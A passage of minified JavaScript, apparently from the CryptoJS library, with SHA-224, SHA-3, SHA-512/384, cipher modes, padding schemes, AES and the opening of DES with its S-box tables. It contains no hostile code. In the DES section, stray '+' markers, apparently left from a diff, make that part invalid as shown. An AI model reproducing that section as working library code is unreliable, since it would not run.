4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 